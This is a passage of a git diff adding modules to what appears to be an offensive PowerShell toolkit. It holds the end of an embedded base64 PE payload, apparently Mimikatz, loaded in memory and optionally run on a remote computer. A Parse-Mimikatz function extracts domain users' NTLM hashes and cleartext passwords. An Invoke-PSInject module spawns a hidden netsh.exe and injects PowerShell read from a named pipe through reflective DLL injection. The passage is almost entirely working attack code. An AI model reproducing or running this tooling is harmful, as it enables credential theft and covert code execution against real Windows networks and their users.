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wjDCdMKUwtTDGMCwxNzFCMUgxUTGTMb4x4zHvMfsxDjItMlgycDK1MsEyzTLZMuwyEDOQM0U0VzRpNNk0OjWVNQM2IjZTNqg34jj9OBM5KTkxOYo8jT2ePQAAAHADAGQAAAAkMIYwizCdMLswzzDVMKEyvjJCNF40+DQ0NUc1ZTVzNSE3WDdfN2Q3aDdsN3A3xjcLOBA4FDgYOBw4tDrHOuU68zqhPNg83zzkPOg87DzwPEY9iz2QPZQ9mD2cPQCAAwAMAAAABjAvNgCQAwB4AAAANzg7OD84QzhHOEs4TzhTOFc4WzhfOGM4ZzhrOG84czh3OHs4fziDOIc4iziPOJM4lzibOJ84ozinOKs4rzizOMI48TkJPBE8JTwGPQs9HT3MPds95T1PPmA+Zz51Po4+mj6hPrM+zz4nP8Y/1j/jPwCgAwAUAAAABjAoMC0wOTBFMAAAALADAOwAAAB4NIg0jDSQNJw0oDSkNMQ0yDTMNPQ0+DT8NAA1cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDesN7A3tDe4N7w3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAwAMAOAAAAJA7mDugO6Q7qDusO7A7tDu4O7w7xDvIO8w70DvUO9g73DvgO+w79Dv4O/w7ADwEPADQAwDoAAAAGDEcMSAxJDEoMSwxMDE0MTgxPDFAMUQxSDFMMVAxVDFYMVwxYDFkMWgxbDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxnDGgMaQxqDGsMbAxtDG4MbwxwDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngygDKEMogyjDKQMpQymDKcMqAypDKoMqwysDK0MrgyvDLAMsQyyDLMMtg/3D/gP+Q/AAAA4AMA0AEAAEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDDUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHEMcwx1DHcMeQx7DH0MfwxBDIMMhQyHDIkMiwyNDI8MkQyTDJUMlwyZDJsMnQyfDKEMowylDKcMqQyrDK0MrwyxDLMMtQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkNwDwAwDQAQAAWDFgMWgxcDF4MYAxiDGQMZgxoDGoMbAxuDHAMcgx0DHYMeAx6DHwMfgxADIIMhAyGDIgMigyMDI4MkAySDJQMlgyYDJoMnAyeDKAMogykDKYMqAyqDKwMrgywDLIMtAy2DLgMugy8DL4MgAzCDMQMxgzIDMoMzAzODNAM0gzUDNYM2AzaDNwM3gzgDOIM5AzmDOgM6gzsDO4M8AzyDPQM9gz4DPoM/Az+DMANAg0EDQYNCA0KDQwNDg0QDRINFA0WDRgNGg0cDR4NIA0iDSQNJg0oDSoNLA0uDTANMg00DTYNOA06DTwNPg0ADUINRA1GDUgNSg1MDU4NUA1SDVQNVg1YDVoNXA1eDWANYg1kDWYNaA1qDWwNbg1wDXINdA12DXgNeg18DX4NQA2CDYQNhg2IDYoNjA2ODZANkg2UDZYNmA2aDZwNng2gDaINpA2mDagNqg2sDa4NsA2yDbQNtg24DboNvA2+DYANwg3EDcYNyA3KDcwNzg3QDdIN1A3WDdgN2g3cDd4N4A3iDeQN5g3oDeoN7A3uDfAN8g30DfYN+A36DfwN/g3ADgIOBA4GDggOCg4MDg4OEA4SDhQOFg4YDhoOHA4AAAEAEwAAABqMm4ycjJ2Mgw8FDwcPCQ8LDw0PDw8RDxMPFQ8XDxkPGw8dDx8PIQ8jDyUPJw8pDysPLQ8vDzEPMw81DzcPOQ87DwAAAAQBAAUAQAAuDXENdA13DXoNfQ1ADYINhA2GDYgNig2MDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDu4O8A7yDvQO9g74DvoO/A7+DsAPAg8EDwYPCA8KDwwPDg8QDxEPEg8TDxQPFQ8WDxcPGA8ZDxoPGw8cDx0PHg8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPMA8xDzIPMw80DzUPNg83Dz0PPg8/DwAPQQ9CD0MPRA9FD0YPRw9JD0sPTA9ND04PTw9UD0AAAAwBAAUAAAAmDmcOaA5pDm4OQAAAEAEAHQEAADsMfAx9DH4MfwxADIEMgwyEDIUMlwyYDJsMnAydDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzEDMUMxgzHDMgMyQzKDMsMzAzNDM4MzwzQDNEM0gzTDNQM1QzWDNcM2AzZDNoM2wzcDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6wzsDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQsNDA0NDQ4NDw0QDRENEg0TDRQNFQ0WDRcNGA0ZDRoNGw0iDSMNJA0lDSYNJw0oDSkNKg0rDSwNLQ0uDS8NMA0xDTINMw00DTUNNg04DTkNOg07DQ0NTg1RDVQNVQ1WDVcNWA1ZDVoNXA1eDV8NYA1iDWMNZg1nDWoNaw1uDW8NcA1yDXMNdA12DXcNeA16DXsNfg1/DUINgw2GDYcNig2LDY4Njw2SDZMNlg2XDZgNmg2bDZwNng2fDaINow2mDacNqA2pDawNsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDeIN4w3vDfAN8Q3yDfMN3w4kDiUOJg4nDigOKQ4qDisOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA46DjsOPQ4+Dj8OBw5IDkkOSg5LDkwOTQ5ODlEOUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDmAOYQ5iDmMOZA5lDmYOZw5oDmkOag5rDmwObg5vDnEOcg50DnUOdg55DnwOfQ5+Dn8OQA6BDoIOgw6EDoUOhg6JDowOjQ6ODo8OkA6TDpYOlw6YDpkOmg6bDpwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6vDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7MDs4O0Q7SDtUO2A7ZDtoO2w7cDt0O3g7fDuAO4Q7iDuMO5A7lDuYO5w7oDukO6g7rDuwO7Q7uDu8O8A7xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPDQ8QDxEPEg8TDxQPFw8YDxkPGg8bDxwPHQ8eDx8PIA8hDyIPIw8kDyUPJg8sDzIPOA8+Dz8PBA9FD0oPSw9QD1QPVQ9WD1cPWA9ZD1wPZA9lD2YPaw9sD20Pbw9wD3EPcg9zD3QPdQ92D3cPeA95D3oPew98D30Pfg9/D0APgQ+CD4MPhA+FD4YPhw+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPog+jD6QPpQ+mD6cPqA+pD6oPqw+sD60Prg+vD7APsQ+yD7MPtA+1D7YPtw+4D7kPug+7D7wPvQ++D78PgA/BD8IPwAAAFAEACAAAABEMEgwmDCIM4wzkDOYM6AzpDOoM6wzsDMA0AUAdAAAAIw2mDY0Ojg6RDpIOlQ6WDpkOmg6iDqoOsQ6yDrkOug6CDsoO0g7VDtwO5A7sDu4O7w72Dv4OxQ8GDw4PFg8eDyYPLg82Dz4PBg9OD1YPXg9mD24Pdg9+D0YPjg+WD54Ppg+uD7UPtg+9D74PgAABgC8AAAAJDBYMDgxaDF4MYgxmDGoMcAxzDHQMdQx8DH0MTAyUDdgN2Q3aDdsN3A3dDd4N3w3gDeEN5A3lDeYN5w3oDekN6g3rDfgOOQ46DjsOPA49Dj8ODg5dDmwOSg6MDpkOmw6oDqoOtw65DoYOyA7VDtcO5A7mDsoPDA8ZDxsPKA8qDzcPOQ8GD0gPVQ9XD2YPag9sD3gPfA9+D0IPhA+RD5MPoA+iD68PsQ+9D78Pmg/cD+oP+Q/ABAGALgAAAAgMFwwuDD0MDAxiDGQMcQxzDEAMggyPDJEMtgy4DIUMxwzUDNYM4wzlDPcM+Az+DM0NHA0rDQINUQ1iDXENQA2PDZ4NrQ2wDYYN1Q3kDfMNwg4RDh4OHw4hDikOLA40DjcOAg5RDmAOcQ5yDnQORg6VDqQOsw6CDtEO4A7tDu4O8A76DvsO/Q7FDwYPCA8SDyIPMQ8yDzQPPg8ND1wPbQ9uD3APfg9ND5wPqw+6D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName + } +} + +Main +} +function Parse-Mimikatz { +param( + [Parameter( + Position=0, + Mandatory=$true, + ValueFromPipeline=$true, + ValueFromPipelineByPropertyName=$true) + ] + [String[]]$raw + ) + + # msv + $results = $raw | Select-String -Pattern "(?s)(?<=msv :).*?(?=tspkg :)" -AllMatches | %{$_.matches} | %{$_.value} + if($results){ + foreach($match in $results){ + if($match.Contains("Domain")){ + $lines = $match.split("`n") + foreach($line in $lines){ + if ($line.Contains("Username")){ + $username = $line.split(":")[1].trim() + } + elseif ($line.Contains("Domain")){ + $domain = $line.split(":")[1].trim() + } + elseif ($line.Contains("NTLM")){ + $password = $line.split(":")[1].trim() + } + } + if ($password -and $($password -ne "(null)") -and (!$username.Contains('$'))){ + $domain+"\"+$username+":"+$password + } + } + } + } + $results = $raw | Select-String -Pattern "(?s)(?<=tspkg :).*?(?=wdigest :)" -AllMatches | %{$_.matches} | %{$_.value} + if($results){ + foreach($match in $results){ + if($match.Contains("Domain")){ + $lines = $match.split("`n") + foreach($line in $lines){ + if ($line.Contains("Username")){ + $username = $line.split(":")[1].trim() + } + elseif ($line.Contains("Domain")){ + $domain = $line.split(":")[1].trim() + } + elseif ($line.Contains("Password")){ + $password = $line.split(":")[1].trim() + } + } + if ($password -and $($password -ne "(null)") -and (!$username.Contains('$'))){ + $domain+"\"+$username+":"+$password + } + } + } + } + $results = $raw | Select-String -Pattern "(?s)(?<=wdigest :).*?(?=kerberos :)" -AllMatches | %{$_.matches} | %{$_.value} + if($results){ + foreach($match in $results){ + if($match.Contains("Domain")){ + $lines = $match.split("`n") + foreach($line in $lines){ + if ($line.Contains("Username")){ + $username = $line.split(":")[1].trim() + } + elseif ($line.Contains("Domain")){ + $domain = $line.split(":")[1].trim() + } + elseif ($line.Contains("Password")){ + $password = $line.split(":")[1].trim() + } + } + if ($password -and $($password -ne "(null)") -and (!$username.Contains('$'))){ + $domain+"\"+$username+":"+$password + } + } + } + } + $results = $raw | Select-String -Pattern "(?s)(?<=kerberos :).*?(?=ssp :)" -AllMatches | %{$_.matches} | %{$_.value} + if($results){ + foreach($match in $results){ + if($match.Contains("Domain")){ + $lines = $match.split("`n") + foreach($line in $lines){ + if ($line.Contains("Username")){ + $username = $line.split(":")[1].trim() + } + elseif ($line.Contains("Domain")){ + $domain = $line.split(":")[1].trim() + } + elseif ($line.Contains("Password")){ + $password = $line.split(":")[1].trim() + } + } + if ($password -and $($password -ne "(null)") -and (!$username.Contains('$'))){ + $domain+"\"+$username+":"+$password + } + } + } + } +} \ No newline at end of file diff --git a/Modules/Invoke-PSInject.ps1 b/Modules/Invoke-PSInject.ps1 new file mode 100644 index 0000000..15480bc --- /dev/null +++ b/Modules/Invoke-PSInject.ps1 @@ -0,0 +1,2876 @@ +function Invoke-PSInject +{ + <# +.SYNOPSIS +Taskes a PowerShell script block (base64-encoded), patches +the decoded logic into the architecture appropriate ReflectivePick +.dll, and injects the result into a specified ProcessID. + +Adapted from PowerSploit's Invoke-RefleciveDLLInjection codebase + +.PARAMETER ProcId +Process to inject ReflectivePick into + +.PARAMETER PoshCode +Base64-encoded PowerShell code to inject. +#> + + +[CmdletBinding(DefaultParameterSetName="WebFile")] +Param( + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void', 'Other' )] + [String] + $FuncReturnType = 'Other', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName, + + [Parameter(Position = 6)] + [String] + $PoshCode, + + [Parameter(Position = 7)] + [Switch] + $ForceASLR, + + [Parameter(Position = 8)] + [String] + $PayloadType +) + + Set-StrictMode -Version 2 + + if (!$ProcId) { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + $pst.FileName = "C:\Windows\System32\netsh.exe" + $Process = [System.Diagnostics.Process]::Start($pst) + [UInt32]$ProcId = ($Process.Id).tostring() + } + + echo "Injecting into process ID: $ProcID" + + if (!$PoshCode){ + if ($PayloadType -eq "Proxy") { + $PoshCode = "add-Type -assembly `"System.Core`"; `$pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); `$pi.Connect(); `$pr = new-object System.IO.StreamReader(`$pi); IEX ([System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String((`$pr.ReadLine() -replace `"powershell -exec bypass -Noninteractive -windowstyle hidden -e `",`"`"))))" + } + if ($PayloadType -eq "Normal") { + $PoshCode = "add-Type -assembly `"System.Core`"; `$pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); `$pi.Connect(); `$pr = new-object System.IO.StreamReader(`$pi); IEX ([System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String((`$pr.ReadLine() -replace `"powershell -exec bypass -Noninteractive -windowstyle hidden -e `",`"`"))))" + } + } + + function Invoke-PatchDll { + <# + .SYNOPSIS + Patches a string in a binary byte array. + + .PARAMETER DllBytes + Binary blog to patch. + + .PARAMETER FindString + String to search for to replace. + + .PARAMETER ReplaceString + String to replace FindString with + #> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [Byte[]] + $DllBytes, + + [Parameter(Mandatory = $True)] + [string] + $FindString, + + [Parameter(Mandatory = $True)] + [string] + $ReplaceString + ) + + $FindStringBytes = ([system.Text.Encoding]::UNICODE).GetBytes($FindString) + $ReplaceStringBytes = ([system.Text.Encoding]::UNICODE).GetBytes($ReplaceString) + + $index = 0 + $s = [System.Text.Encoding]::UNICODE.GetString($DllBytes) + $index = $s.IndexOf($FindString) * 2 + Write-Verbose "patch index: $index" + + if($index -eq 0) + { + throw("Could not find string $FindString !") + } + + for ($i=0; $i -lt $ReplaceStringBytes.Length; $i++) + { + $DllBytes[$index+$i]=$ReplaceStringBytes[$i] + } + + # null terminate the replaced string + $DllBytes[$index+$ReplaceStringBytes.Length] = [byte]0x00 + $DllBytes[$index+$ReplaceStringBytes.Length+1] = [byte]0x00 + + $replacestart = $index + $replaceend = $index + $ReplaceStringBytes.Length + write-verbose "replacestart: $replacestart" + write-verbose "replaceend: $replaceend" + + $NewCode=[System.Text.Encoding]::Unicode.GetString($RawBytes[$replacestart..$replaceend]) + write-verbose "Replaced pattern with: $NewCode" + + return $DllBytes + } + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $true)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ProcName, + + [Parameter(Position = 4, Mandatory = $true)] + [Bool] + $ForceASLR, + + [Parameter(Position = 5, Mandatory = $true)] + [String] + $PoshCode + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + 